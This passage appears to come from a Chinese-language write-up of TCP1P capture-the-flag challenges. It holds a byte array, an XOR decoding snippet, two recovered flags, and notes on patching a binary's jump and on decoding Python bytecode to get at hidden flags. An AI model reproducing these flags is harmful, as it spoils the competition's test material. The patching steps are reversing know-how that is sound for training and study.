- 210, 9, 74, 180, 240, 70, 87, 127, 17, 53, 115, 106, 178,
- 9, 250, 235, 99, 89, 195, 146, 89, 217, 74, 10, 133, 14,
- 82, 27, 70, 77, 111, 232, 144, 201, 98, 178, 88, 201, 190,
- 34, 135, 62, 24, 236, 102, 197, 158, 19, 0, 228, 252, 32,
- 128, 109, 157, 209, 104, 65, 104, 70, 49, 255, 14, 79, 133,
- 95, 195, 233, 45, 122, 200, 56, 207, 207, 225, 98, 23, 130,
- 91, 77, 37, 31, 242, 114, 187, 142, 40, 217, 238, 94, 83,
- 44, 191, 121, 249, 30, 241, 94, 121, 55, 243, 197, 136, 254,
- 1, 65, 103, 71, 140, 94, 71, 91, 17, 254, 150, 102, 138,
- 195, 144, 134, 196, 35, 233, 36, 158, 72, 5, 145, 132, 116,
- 214, 129, 14, 199, 129, 137, 113, 12, 41, 25, 187, 211, 144,
- 58, 244, 230, 132, 226, 4, 10, 62, 251, 107, 222, 243, 39,
- 137, 77, 210, 195, 23, 223, 215, 106, 219, 143, 44, 8, 122,
- 137, 138, 91, 245, 75, 73, 93, 91, 197, 27, 82, 14, 106,
- 198, 245, 48, 185, 245, 147, 74, 98, 150, 70, 132, 186, 32,
- 10, 237, 21, 185, 32, 142, 64, 107, 126, 89, 128, 237, 24,
- 44, 6, 6, 40, 171, 20, 228, 138, 5, 217, 231, 18, 248, 171,
- 182, 51, 255, 234, 255, 43, 181, 214, 78, 184, 158, 232, 248,
- 128, 165, 40, 104, 14, 87, 111, 250, 71, 93, 41, 57, 21,
- 120, 32, 107, 242, 97, 20, 196, 25, 243, 77, 125, 77, 92,
- 120, 66, 36, 61, 34, 47, 37, 74, 71, 198, 173, 108, 117,
- 189, 48, 1, 204, 10, 244, 162, 221, 93, 170, 245, 23, 157,
- 143, 93, 35, 162, 32, 9, 116, 165, 242, 19, 197, 86, 29,
- 16, 234, 84, 88, 77, 36, 157, 43, 174, 122, 216, 102, 0,
- 206, 166, 183, 192, 215, 190, 123, 11, 128, 113, 223, 55,
- 10, 116, 92, 64, 184, 192, 76, 68, 54, 51, 45, 73, 189, 227,
- 67, 124, 80, 63, 173, 187, 214, 134, 110, 47, 96, 210, 88,
- 158, 194, 50, 9, 188, 233, 248, 56, 2, 9, 4, 86, 216, 129,
- 123, 221, 89, 12, 230, 129, 187, 179, 205, 100, 56, 247, 229,
- 135, 162, 162, 151, 56, 248, 42, 44, 195, 144, 77, 230, 156,
- 184, 126, 141, 20, 129, 251, 117, 186, 125, 151, 113, 252,
- 15, 77, 228, 15, 75, 55, 144, 240, 118, 214, 79, 49, 128,
- 234, 105, 226, 138, 119, 72, 47, 134, 2, 222, 178, 107, 8,
- 152, 132, 166, 128, 133, 16, 215, 90, 154, 142, 1, 95, 161,
- 128, 62, 172, 94, 133, 253, 255, 242, 231, 99, 103, 203, 95,
- 14, 40, 217, 1, 34, 128, 40, 145, 186, 104, 124, 225, 141,
- 56, 192, 228, 180, 199, 44, 73, 254, 75, 38, 139, 8, 120,
- 7, 140, 141, 219, 21, 7, 226, 90, 144, 144, 240, 40, 247,
- 10, 88, 129, 106, 24, 100, 217, 18, 66, 125, 236, 22, 102,
- 197, 234, 175, 13, 170, 70, 57, 74, 200, 126, 103, 156, 127,
- 248, 30, 97, 181, 179, 85, 154, 80, 106, 154, 238, 194, 104,
- 235, 205, 161, 141, 231, 6, 144, 202, 189, 228, 215, 167,
- 197, 7, 109, 161, 31, 230, 238, 132, 180, 59, 63, 18, 210,
- 124, 20, 185, 232, 54, 96, 109, 75, 64, 143, 239, 85, 29,
- 90, 192, 112, 243, 105, 134, 243, 254, 149, 46, 43, 190, 244,
- 166, 23, 4, 214, 224, 26, 47, 232, 25, 173, 118, 62, 164,
- 172, 65, 36, 25, 175, 103, 83, 181, 127, 105, 243, 168, 89,
- 215, 13, 150, 78, 216, 147, 125, 43, 223, 193, 31, 104, 195,
- 107, 222, 106, 119, 168, 39, 178, 47, 231, 212, 29, 50, 233,
- 124, 216, 116, 248, 114, 215, 109, 3, 163, 48, 74, 161, 80,
- 170, 60, 10, 206, 213, 90, 249, 79, 36, 165, 138, 38, 191,
- 58, 56, 128, 144, 203, 226, 168, 138, 79, 104, 171, 70, 40,
- 99, 166, 218, 163, 201, 124, 245, 85, 68, 28, 86, 217, 225,
- 199, 171, 240, 214, 254, 98, 175, 252, 30, 122, 220, 33, 52,
- 135, 129, 115, 0, 214, 124, 236, 241, 41, 68, 179, 102, 77,
- 64, 35, 232, 180, 37, 194, 226, 236, 42, 7, 209, 183, 107,
- 122, 223, 100, 253, 207, 63, 242, 27, 230, 181, 69, 102, 60,
- 77, 175, 192, 196, 171, 80, 61, 0, 153, 82, 114, 213, 106,
- 179, 38, 225, 213, 5, 106, 88, 195, 241, 241, 13, 32, 192,
- 231, 107, 38, 19, 1, 62, 133, 124, 61, 155, 16, 217, 246,
- 230, 117, 68, 207, 172, 21, 64, 254, 82, 170, 25, 41, 249,
- 167, 160, 74, 188, 245, 26, 158, 40, 33, 95, 210, 25, 105,
- 165, 155, 88, 144, 252, 74, 184, 182, 44, 70, 94, 231, 51,
- 153, 160, 132, 144, 110, 27, 66, 174, 34, 54, 133, 16, 188,
- 239, 197, 250, 84, 189, 241, 181, 169, 244, 14, 250, 83, 245,
- 135, 25, 174, 188, 166, 142, 145, 141, 253, 166, 234, 238,
- 222, 49, 10, 56, 42, 115, 80, 12, 133, 157, 133, 203, 91,
- 129, 159, 173, 121, 17, 124, 241, 158, 79, 128, 73, 156, 209,
- 230, 77, 94, 116, 174, 167, 228, 50, 245, 111, 139, 30, 120,
- 191, 112, 217, 169, 109, 246, 12, 207, 116, 250, 32, 230,
- 223, 50, 25, 52, 160, 234, 99, 153, 141, 30, 127, 170, 19,
- 101, 138, 132, 65, 128, 45, 78, 189, 139, 85, 50, 248, 190,
- 119, 94, 45, 250, 221, 248, 20, 151, 246, 6, 112, 242, 3,
- 231, 200, 50, 196, 118, 86, 255, 116, 112, 115, 46, 17, 19,
- 213, 83, 138, 237, 193, 99, 34, 225, 183, 194, 164, 74, 96,
- 186, 110, 152, 82, 208, 130, 34, 235, 129, 12, 52, 237,
- 38, 244, 208, 89, 234, 86, 215, 209, 188, 67, 12, 56, 197,
- 208, 232, 7]
- from Crypto.Util.number import *
- from pwn import xor
- b = long_to_bytes(int(a,2))
- print(xor(b, bytes(FLAG)))
-
- b"Your remarkable accomplishment is a testament to your unwavering determination, relentless pursuit of excellence, and unwavering spirit. You have conquered every obstacle with sheer grit, transforming challenges into stepping stones towards triumph. Your efforts, unwavering focus, and boundless passion have propelled you to new heights of success, leaving an indelible mark on the world. Your commitment to excellence serves as an inspiration to all who have had the privilege of witnessing your remarkable journey. As you stand at this pinnacle of achievement, take a moment to reflect on the incredible journey that brought you here. Embrace this milestone as a testament to your unyielding dedication and the incredible potential that resides within you. Here's the flag : TCP1P{where_the_skies_are_blue_to_see_you_once_again}. The world eagerly awaits the remarkable contributions you will undoubtedly make in the future. Your accomplishment has not only made us proud but also redefined the boundaries of what is possible"
这是一个巨折和程序,无法反编译,好在它是一个个字符比较的,可以在4cd68处将jnz改为jz然后,在结束前下断点,flag就在栈上

python 字节码,手工搓
TCP1P{byte_code_is_HuFtt}
本来是有flag输出的,但是没有被调用,需要patch一下,记secretFunction改为printFlag即可。
